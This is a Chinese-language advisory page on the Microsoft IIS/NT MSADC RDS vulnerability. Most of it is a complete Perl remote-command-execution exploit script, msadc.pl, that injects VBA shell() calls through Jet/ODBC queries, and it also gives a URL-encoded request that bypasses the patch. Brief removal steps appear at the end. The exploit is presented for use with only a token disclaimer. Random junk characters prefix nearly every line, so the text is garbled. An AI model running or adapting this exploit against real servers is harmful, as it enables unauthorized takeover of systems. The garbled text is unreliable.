IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9{-H/YS\_s bMqFrG 涉及程序：
d}@n,3 Microsoft NT server
u/J1Z>0 tSVS ogGd 描述：
RvyCc!d 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HgTBON(
zw0u|q;# 详细：
B3E}fQm ) 如果你没有时间读详细内容的话，就删除:
yB4eUa!1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
GGsAisF"N 有关的安全问题就没有了。
MKX58y{+
4G j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
`X(H,Q}*; )c<[@ ::i 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
QvlV jDIy 关于利用ODBC远程漏洞的描述，请参看:
yL2 3 Nqe V%voe http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z -'e<v;w /lc4oXG8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
oW6b3Q / B http://www.microsoft.com/security/bulletins/MS99-025faq.asp | )[&V3+| R?#.z# 这里不再论述。
b{.Y?.U K B gFS%-W 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
jM>;l6l P}he}k&IR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8`Tj *7Y= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
_:KeSs kuO D&D- E~b^ -=qHwcId #将下面这段保存为txt文件，然后: "perl -x 文件名"
S>d7q )gk
tI! #!perl
gj4ONmY #
%]o/p_< # MSADC/RDS 'usage' (aka exploit) script
&jh17y #
Nh ^q&[? # by rain.forest.puppy
4XSq\.@G #
eRg;)[#0>$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
U/-|hfh # beta test and find errors!
R+9 hog k>:\4uI|<\ use Socket; use Getopt::Std;
&x/Z {ut getopts("e:vd:h:XR", \%args);
vtRz;~,Z zT'(I6 S:) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q 34-a"6) P8 R^46 if (!defined $args{h} && !defined $args{R}) {
VYQ]?XF3i print qq~
5L,q,kVS Usage: msadc.pl -h <host> { -d <delay> -X -v }
.+~9
vH -h <host> = host you want to scan (ip or domain)
'^tC |) -d <seconds> = delay between calls, default 1 second
)+f"J$ah -X = dump Index Server path table, if available
sc z8 `% -v = verbose
Sre:l'. -e = external dictionary file for step 5
)O>M~ Q!h+1fb Or a -R will resume a command session
*nwH1FjH b[MKo7 ~; exit;}
B8>@q!G8P 5oo6d4[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[2ri=lf, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;V bB]aUg if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8L *#zaSAf if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~31-)*tJ] $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4\ny]A:~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
DK|/|C}6 G#6O'G
N if (!defined $args{R}){ $ret = &has_msadc;
8Y;2.Z`Rz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9!6u Yf+ |wuN`;gc" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<4N E)!# . "cmd /c ";
Q;kl-upn~8 $in=<STDIN>; chomp $in;
v 1 f^gde $command="cmd /c " . $in ;
b 2~5 LZ <@;bxSUx if (defined $args{R}) {&load; exit;}
_$KkSMA~_ o)H|
#9h5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
w}
r mYQ &try_btcustmr;
J,k.*t: x #t?` print "\nStep 2: Trying to make our own DSN...";
;ih;8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}{.V^; \# 1p print "\nStep 3: Trying known DSNs...";
e? ; &known_dsn;
R[H#a v \M~uNWv| print "\nStep 4: Trying known .mdbs...";
rWJKK &known_mdb;
9/O\769"' m
[BV{25 if (defined $args{e}){
I<S*"[nV print "\nStep 5: Trying dictionary of DSN names...";
u89Q2\z~"M &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)Zrn?K M |Rb8 / WX print "Sorry Charley...maybe next time?\n";
~jJ e|zg> exit;
TIn o"tc3 gKRlXVS ##############################################################################
!iUT Re TtgsM}Fm sub sendraw { # ripped and modded from whisker
$"3cN & sleep($delay); # it's a DoS on the server! At least on mine...
xC2y/ ? my ($pstr)=@_;
o>I,$= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h-\+# .YP die("Socket problems\n");
*?o 'sTH if(connect(S,pack "SnA4x8",2,80,$target)){
%%lJyLq'Vk select(S); $|=1;
9dp1NjOtAc print $pstr; my @in=<S>;
#YSFiy:+r_ select(STDOUT); close(S);
}j YVB|2 return @in;
<M\#7.]( } else { die("Can't connect...\n"); }}
@y,>cDg #W/ATsDt ##############################################################################
b3q&CJ4| /=KEM gI? sub make_header { # make the HTTP request
K%;=i2: my $msadc=<<EOT
HyIyrU rYW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`Nv7c {M^ User-Agent: ACTIVEDATA
KnUVR!H| Host: $ip
\Lm`j U(:l Content-Length: $clen
"f-HOd\= Connection: Keep-Alive
M?I^`6IOc8 VRUA <x ADCClientVersion:01.06
3u9}z+q Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
l)Mi?B~N P@U2Q%\ --!ADM!ROX!YOUR!WORLD!
l$C
Y
gm Content-Type: application/x-varg
*Q;?p
hr Content-Length: $reqlen
;;Jx1Q Pe` jNiI EOT
` Yyi;!+0 ; $msadc=~s/\n/\r\n/g;
| zOwC9-6 return $msadc;}
ubl)$jZ:Q _Pn
1n ##############################################################################
(Z Q?1Qxo R HmT$^= sub make_req { # make the RDS request
LVJn2t^ my ($switch, $p1, $p2)=@_;
VhU ,("&pm my $req=""; my $t1, $t2, $query, $dsn;
c+:^0&l ra^"Vr if ($switch==1){ # this is the btcustmr.mdb query
<BK?@X y $query="Select * from Customers where City=" . make_shell();
{}BAQ9|q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@R ;&P R#5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i \kDb= BxB B]( elsif ($switch==2){ # this is general make table query
zEw~t&:e $query="create table AZZ (B int, C varchar(10))";
rg I Z $dsn="$p1";}
fRp(&%8E X5=I{ eY} elsif ($switch==3){ # this is general exploit table query
fD%20P`. $query="select * from AZZ where C=" . make_shell();
2j$~lI $dsn="$p1";}
Kr+#)S )oZ2,]us! elsif ($switch==4){ # attempt to hork file info from index server
i K8j X? $query="select path from scope()";
Myh?=:1~(c $dsn="Provider=MSIDXS;";}
f\H1$q\p\ 4j<[3~:0
o elsif ($switch==5){ # bad query
1e I_F8I U $query="select";
@ su!9 ]o $dsn="$p1";}
l$m}aQ% h 7hT@,|(j $t1= make_unicode($query);
NdC5w-W Y $t2= make_unicode($dsn);
T
`o[whr $req = "\x02\x00\x03\x00";
~gg&G~ ET $req.= "\x08\x00" . pack ("S1", length($t1));
gq~"Z[T $req.= "\x00\x00" . $t1 ;
=0SJf 3 $req.= "\x08\x00" . pack ("S1", length($t2));
j2mMm/kq\ $req.= "\x00\x00" . $t2 ;
Qki?
>j" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
I 1Yr{(ho return $req;}
=tl~@~pqI Px gul7 ##############################################################################
_!9I
f Op hD_^ sub make_shell { # this makes the shell() statement
-:B gp*S return "'|shell(\"$command\")|'";}
q pq (< t"YN:y8- ##############################################################################
#{J+BWP\o C2 yJ Xi`$ sub make_unicode { # quick little function to convert to unicode
^,`
L !3 my ($in)=@_; my $out;
'a"Uw"/ p[ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fP
llN8n return $out;}
qf{HGn_9~1 mv(/M
t ##############################################################################
^grDP*;W UkC'`NWF* sub rdo_success { # checks for RDO return success (this is kludge)
*T:jR my (@in) = @_; my $base=content_start(@in);
m",G;V N if($in[$base]=~/multipart\/mixed/){
N[N4!k )!$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
."`||@| return 0;}
7t+H94KG7 t;_1 / mt ##############################################################################
( * \y LdnTdh? sub make_dsn { # this makes a DSN for us
@ @=,bO my @drives=("c","d","e","f");
TW=N+ye^1( print "\nMaking DSN: ";
kB=5=#s foreach $drive (@drives) {
%Lq}5zB print "$drive: ";
ypx`!2Q$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
A>\3FeU>UC "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(R(NEN . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Bk5 ft4v- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
i*mI-l return 0 if $2 eq "404"; # not found/doesn't exist
Q+Eqaz` if($2 eq "200") {
=nlj|S ~3 foreach $line (@results) {
^cu H\&&7 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/'^ BH A|h } return 0;}
\\35}
9 X n Rm9% ##############################################################################
^MVOaV65 o5G]|JM_ sub verify_exists {
*p|->p6,u my ($page)=@_;
S KGnx my @results=sendraw("GET $page HTTP/1.0\n\n");
!e('T@^u6u return $results[0];}
,I:[-|Q Wj, {lJ, ##############################################################################
1[\I9dv2 -?Cu-' sub try_btcustmr {
P@Vs\wAT my @drives=("c","d","e","f");
C#RueDa. my @dirs=("winnt","winnt35","winnt351","win","windows");
Pd~z%VoO IG~Zxn1o foreach $dir (@dirs) {
]PbwG print "$dir -> "; # fun status so you can see progress
v+CW([zAx# foreach $drive (@drives) {
PmT<S,}L print "$drive: "; # ditto
o%K1 !' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
pE$*[IvQ' $reqlenlen=length( "$reqlen" );
y8]vl;88yY $clen= 206 + $reqlenlen + $reqlen;
CS0q#? 5'_:>0} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kqGydGh*" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
u3sr"w& else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
|V^f}5g d K] &GSro ##############################################################################
`R*!GHro jEK{47i v sub odbc_error {
2
S2;LB my (@in)=@_; my $base;
,/[1hhP@ my $base = content_start(@in);
Ld=6'C8ud if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
x[$ : ^5V $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]Nue1x V_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i'}"5O+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N5b&tJb M0 return $in[$base+4].$in[$base+5].$in[$base+6];}
A$?o3--#]G print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
TBgiA}|\D print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
fqn;,!D?9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N<QLvZh WrR8TYq9D] ##############################################################################
{(h !JeQ 7 *4i0{ ] sub verbose {
5,R<9FjW my ($in)=@_;
x( rl|o return if !$verbose;
GD!!xt print STDOUT "\n$in\n";}
!X =93% t`1~5#?Du( ##############################################################################
oOGFg3X FQcm = d_s sub save {
Z-a B[hE my ($p1, $p2, $p3, $p4)=@_;
Q|f)Awe$ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:kXxxS print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
zF&_9VNk=c close OUT;}
.iST!n h =HMuAUa. ##############################################################################
YW"nPZNPy~ nDNK}O~' sub load {
'f6!a5q C my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O\ w-hk open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4n% |h-!8 @p=<IN>; close(IN);
KCn#*[
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
,_: 6qn{ $target= inet_aton($ip) || die("inet_aton problems");
+@<@x4yt print "Resuming to $ip ...";
zZV9`cqZ{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]K<7A!+@@p if($p[1]==1) {
H)K. 2Q $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
oB+@05m8 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]Y f8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
mQ\oR| if (rdo_success(@results)){print "Success!\n";}
TaZlfe5z else { print "failed\n"; verbose(odbc_error(@results));}}
r6 kQMFA elsif ($p[1]==3){
N
Q }5' if(run_query("$p[3]")){
+sXnC\ print "Success!\n";} else { print "failed\n"; }}
07Oag q( elsif ($p[1]==4){
]jV 1/vJ-! if(run_query($drvst . "$p[3]")){
u<HJFGLzI print "Success!\n"; } else { print "failed\n"; }}
[LS s|f exit;}
qtp-w\#S$ C(}Kfi@6N ##############################################################################
n'@XgUI, Ky{C;7X sub create_table {
~P9 ^4 my ($in)=@_;
EtDzmpJR> $reqlen=length( make_req(2,$in,"") ) - 28;
O ! w&3 p $reqlenlen=length( "$reqlen" );
R#/0}+-M $clen= 206 + $reqlenlen + $reqlen;
7[8d-Sf24{ my @results=sendraw(make_header() . make_req(2,$in,""));
g]. _J return 1 if rdo_success(@results);
5 ~"m$/yE my $temp= odbc_error(@results); verbose($temp);
P2 +^7x? return 1 if $temp=~/Table 'AZZ' already exists/;
0|? DA12Z return 0;}
M
U2];
--TY[b ##############################################################################
J#G\7'?{ x%RE3J- sub known_dsn {
jDW$}^
6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{!"lHM% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$"Nqto~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fJn4'Q*U "banner", "banners", "ads", "ADCDemo", "ADCTest");
KPa&P:R3 F/D/1w^ iR foreach $dSn (@dsns) {
`e5f69" print ".";
6)9 X+U@ next if (!is_access("DSN=$dSn"));
hle@= e/n if(create_table("DSN=$dSn")){
%UCu I9 print "$dSn successful\n";
Fw6x
(j" if(run_query("DSN=$dSn")){
1VG7[#Zy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
do@BJWo print "Something's borked. Use verbose next time\n";}}} print "\n";}
@FuX^Q.[ <2PO3w?Z ##############################################################################
C6:;
T% ra{HlB{ sub is_access {
- [7S. my ($in)=@_;
h>n<5{zqM $reqlen=length( make_req(5,$in,"") ) - 28;
xQ8?"K;iX $reqlenlen=length( "$reqlen" );
\eS-wO7% $clen= 206 + $reqlenlen + $reqlen;
"C]_pWk my @results=sendraw(make_header() . make_req(5,$in,""));
_ ^Q =n>G my $temp= odbc_error(@results);
1$ uO% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
y?V#LW[^E return 0;}
RZI4N4o (M,*R
v ##############################################################################
u]t#V f-$u o&rNM5: sub run_query {
)n$RHt+ :> my ($in)=@_;
zA&]#mc $reqlen=length( make_req(3,$in,"") ) - 28;
h?&S*)1 $reqlenlen=length( "$reqlen" );
],Y+|uX-> $clen= 206 + $reqlenlen + $reqlen;
}I#,o!)Vd my @results=sendraw(make_header() . make_req(3,$in,""));
Tv~Ys # return 1 if rdo_success(@results);
XNB4K jT my $temp= odbc_error(@results); verbose($temp);
CGCSfoS9f return 0;}
I)f54AX qF4pTQf ##############################################################################
4:qM 'z ziD+% - sub known_mdb {
*7!*kq g!u my @drives=("c","d","e","f","g");
_,E ! < my @dirs=("winnt","winnt35","winnt351","win","windows");
H,U qU3b3 my $dir, $drive, $mdb;
4CioVQdj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)Jd{WC. m# t # this is sparse, because I don't know of many
(J\Qo9Il my @sysmdbs=( "\\catroot\\icatalog.mdb",
3AarRQWsn "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+FtL_7[v "\\system32\\certmdb.mdb",
Pqv9 > N| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
I i J%.U c"CF&vTp my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
$4]"g}_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
=VDtZSa!$^ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
w_^g-P[o- "\\cfusion\\cfapps\\security\\realm_.mdb",
Ck^jgB.7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
e{`DvfY21 "\\cfusion\\database\\cfexamples.mdb",
v/}h y$7 "\\cfusion\\database\\cfsnippets.mdb",
C-L[" O0[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
M9dUo7 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|%7OI#t^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
N^By#Z "\\cfusion\\database\\smpolicy.mdb",
"%{J$o "\\cfusion\\database\cypress.mdb",
#wZBWTj. "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
J l9w/T "\\website\\cgi-win\\dbsample.mdb",
p +|(lrYC "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
jR o4+ 8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xouy|Nn' ); #these are just
j?9fb foreach $drive (@drives) {
4Nz]LK%@ foreach $dir (@dirs){
\J3n[6; foreach $mdb (@sysmdbs) {
K@+(6\6I print ".";
r J_fg$.< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'5m`[S-IU print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
'Lv>!s 7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
"r.eN_d print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ao.v]6a } else { print "Something's borked. Use verbose next time\n"; }}}}}
nXcOFU k6W
[// foreach $drive (@drives) {
P*sb@ y>}O foreach $mdb (@mdbs) {
)K^5 +oC17 print ".";
+UC - if(create_table($drv . $drive . $dir . $mdb)){
A]"IQ- print "\n" . $drive . $dir . $mdb . " successful\n";
lhhp6-r if(run_query($drv . $drive . $dir . $mdb)){
$4*k=+wS print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
z9[BQ(9t } else { print "Something's borked. Use verbose next time\n"; }}}}
4?9cyv4H }
4+_r0 } @S''AA\ ##############################################################################
:6X?EbXhK h"5!puN+ sub hork_idx {
b py576GwA print "\nAttempting to dump Index Server tables...\n";
)nJh) {4\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
M4(`o^n $reqlen=length( make_req(4,"","") ) - 28;
H@pF3gh $reqlenlen=length( "$reqlen" );
%["V "{ z $clen= 206 + $reqlenlen + $reqlen;
"<I*V iZ my @results=sendraw2(make_header() . make_req(4,"",""));
ISl-W1u} if (rdo_success(@results)){
!]z6?kUK my $max=@results; my $c; my %d;
S`?c s^? for($c=19; $c<$max; $c++){
gw);b)&mx $results[$c]=~s/\x00//g;
3"J85V%h]n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
l\{{iAC]I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
u4p){|x7s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
v22 ZwP $d{"$1$2"}="";}
p[lciWEW foreach $c (keys %d){ print "$c\n"; }
$S _VR } else {print "Index server doesn't seem to be installed.\n"; }}
a4iq_F#NF 4P\?vz" ##############################################################################
.8.LW4-ff vD*9b.* sub dsn_dict {
{] CO;5: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
EzDQoN7Em while(<IN>){
V[N4 {c $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V}UYr Va#9 next if (!is_access("DSN=$dSn"));
!K$qh{n if(create_table("DSN=$dSn")){
8h| 9;% print "$dSn successful\n";
O'}
% Bjl if(run_query("DSN=$dSn")){
?h4Rh0rkX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
49m} ~J=* print "Something's borked. Use verbose next time\n";}}}
C0@[4a$8f print "\n"; close(IN);}
B&oP0 jS d;9F2,k$w ##############################################################################
E\! <= R7xEE7p sub sendraw2 { # ripped and modded from whisker
J|A:C[7 2 sleep($delay); # it's a DoS on the server! At least on mine...
4BgrG[l) my ($pstr)=@_;
zU$S#4/C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hB)TH'R{: die("Socket problems\n");
M}
{'kK if(connect(S,pack "SnA4x8",2,80,$target)){
KDzTe9 print "Connected. Getting data";
nm5 97WeZp open(OUT,">raw.out"); my @in;
iCrLZ" $M select(S); $|=1; print $pstr;
?H2{R: while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
h (1 } g/ close(OUT); select(STDOUT); close(S); return @in;
Y]R;>E5o| } else { die("Can't connect...\n"); }}
PRE\ 2lLY 2PSt*( ##############################################################################
[C"[#7 H*]B7?S sub content_start { # this will take in the server headers
hRvj iK\ my (@in)=@_; my $c;
%[9d1 F 3 for ($c=1;$c<500;$c++) {
~HH6=qjU) if($in[$c] =~/^\x0d\x0a/){
;5fq[v^P: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
4dwG 6- else { return $c+1; }}}
K^'NG! return -1;} # it should never get here actually
#I(Ho:b Z7 t-{s64 ##############################################################################
0=^A{V!m M >BcYbXf sub funky {
}JKK"d}U my (@in)=@_; my $error=odbc_error(@in);
BCK0fk~ if($error=~/ADO could not find the specified provider/){
T+y3Ph--^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
aA 5rvP + exit;}
09psqXU@I if($error=~/A Handler is required/){
}L1 -2 print "\nServer has custom handler filters (they most likely are patched)\n";
,:e##g~k exit;}
7sci&!.2` if($error=~/specified Handler has denied Access/){
,`ZIW print "\nServer has custom handler filters (they most likely are patched)\n";
+bbhm0f exit;}}
i!jR >+ lrXi *u] ##############################################################################
oMj;9,WK' JNYFu0 sub has_msadc {
5#SD$^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I2$.o0=3Y my $base=content_start(@results);
e+t2F
|xDh return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
gVs8W3GW return 0;}
`zJTVi4 9(PQ7} ########################
#6%9*Rh `T]1u4^E rfdT0xfcU 解决方案：
@} {~Ofs 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
vQ/&iAyut 2、移除web 目录: /msadc
